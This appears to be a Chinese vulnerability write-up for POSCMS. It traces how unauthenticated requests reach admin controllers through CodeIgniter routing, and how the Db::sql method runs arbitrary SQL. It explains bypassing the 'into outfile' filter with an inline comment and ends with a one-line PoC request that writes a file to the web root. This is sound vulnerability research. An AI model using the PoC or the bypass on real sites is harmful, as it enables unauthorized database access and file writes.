POSCMS 任意sql语句执行漏洞¶
一、漏洞简介¶
二、漏洞影响¶
三、复现过程¶
任意API调用¶
分析入口文件
index.php --->/diy/init.php ------>/diy/system/core/CodeIgniter.php
程序使用的CodeIgniter(CI)框架,直接去看CI框架。
$RTR =& load_class('Router', 'core', isset($routing) ? $routing : NULL);
初始化Router类,调用_set_routing()方法绑定路由。
if ( ! isset($this->directory))
{
$_d = $this->config->item('directory_trigger');
$_d = isset($_GET[$_d]) ? trim($_GET[$_d], " \t\n\r\0\x0B/") : '';
if ($_d !== '')
{
$this->uri->filter_uri($_d);
$this->set_directory($_d);
}
}
$_c = trim($this->config->item('controller_trigger'));
if ( ! empty($_GET[$_c]))
{
$this->uri->filter_uri($_GET[$_c]);
$this->set_class($_GET[$_c]);
$_f = trim($this->config->item('function_trigger'));
if ( ! empty($_GET[$_f]))
{
$this->uri->filter_uri($_GET[$_f]);
$this->set_method($_GET[$_f]);
}
$this->uri->rsegments = array(
1 => $this->class,
2 => $this->method
);
}
else
{
$this->_set_default_controller();
}
config
$config['controller_trigger'] = 'c';
$config['function_trigger'] = 'm';
$config['directory_trigger'] = 'd';
简述这里就是
$this->class = $_GET[‘c’];
$this->method = $_GET[‘m’];
$this->directory = $_GET[‘d’];
回到CI框架,这里直接通过反射进行了调用。
$e404 = FALSE;
$class = ucfirst($RTR->class);
$method = $RTR->method;
if (empty($class) OR ! file_exists(APPPATH.'controllers/'.$RTR->directory.$class.'.php'))
{
$e404 = TRUE;
}
else
{
require_once(APPPATH.'controllers/'.$RTR->directory.$class.'.php');
if ( ! class_exists($class, FALSE) OR $method[0] === '_' OR method_exists('CI_Controller', $method))
{
$e404 = TRUE;
}
elseif (method_exists($class, '_remap'))
{
$params = array($method, array_slice($URI->rsegments, 2));
$method = '_remap';
}
elseif ( ! method_exists($class, $method))
{
$e404 = TRUE;
}
/**
* DO NOT CHANGE THIS, NOTHING ELSE WORKS!
*
* - method_exists() returns true for non-public methods, which passes the previous elseif
* - is_callable() returns false for PHP 4-style constructors, even if there's a __construct()
* - method_exists($class, '__construct') won't work because CI_Controller::__construct() is inherited
* - People will only complain if this doesn't work, even though it is documented that it shouldn't.
*
* ReflectionMethod::isConstructor() is the ONLY reliable check,
* knowing which method will be executed as a constructor.
*/
elseif ( ! is_callable(array($class, $method)) && strcasecmp($class, $method) === 0)
{
$reflection = new ReflectionMethod($class, $method);
if ( ! $reflection->isPublic() OR $reflection->isConstructor())
{
$e404 = TRUE;
}
}
}
APPPATH.'controllers/ = /diy/dayrui/controllers/
然后我们就可以调用这里的Controller,关键点是在这里有个admin文件夹,里面包含了管理员可调用的功能点,而且他继承的基类(SuperClass)并没有检测用户权限。就导致任意调用这里的功能点。
SQL语句执行(增删改查)¶
既然可以调用管理员才能调用的功能点,问题就太多了,这里就随便讲一个喽。
文件:/diy/dayrui/controllers/admin/Db.php 方法:sql
public function sql() {
$sql = '';
$count = $id = 0;
if (IS_POST) {
$id = $this->input->post('id');
$sql = str_replace('{dbprefix}', $this->db->dbprefix, $this->input->post('sql'));
if (preg_match('/select(.*)into outfile(.*)/i', $sql)) {
$this->admin_msg(fc_lang('存在非法select'));
}
$sql_data = explode(';SQL_FINECMS_EOL', trim(str_replace(array(PHP_EOL, chr(13), chr(10)), 'SQL_FINECMS_EOL', $sql)));
if ($sql_data) {
$db = $this->db;
foreach($sql_data as $query){
if (!$query) {
continue;
}
$queries = explode('SQL_FINECMS_EOL', trim($query));
$ret = '';
foreach($queries as $query) {
$ret.= $query[0] == '#' || $query[0].$query[1] == '--' ? '' : $query;
}
if (!$ret) {
continue;
}
$db->query($ret);
$count++;
}
if ($count == 1 && stripos($ret, 'select') === 0) {
$this->template->assign(array(
'result' => $db->query($ret)->result_array(),
));
}
}
}
$this->template->assign(array(
'menu' => $this->get_menu_v3(array(
fc_lang('执行SQL') => array('admin/db/sql', 'database')
)),
'id' => $id,
'sql' => $sql,
'mcount' => $count,
));
$this->template->display('db_sql.html');
}
这里使用正则表达式匹配危险字符into outfile,绕过就太简单了。into/**/outfile。
poc¶
https://www.0-sec.org/index.php?c=db&d=admin&m=sql Post sql=select 1 into/**/outfile 'C:\phpstudy_pro\WWW\www.0-sec.org\poscms\11111.txt'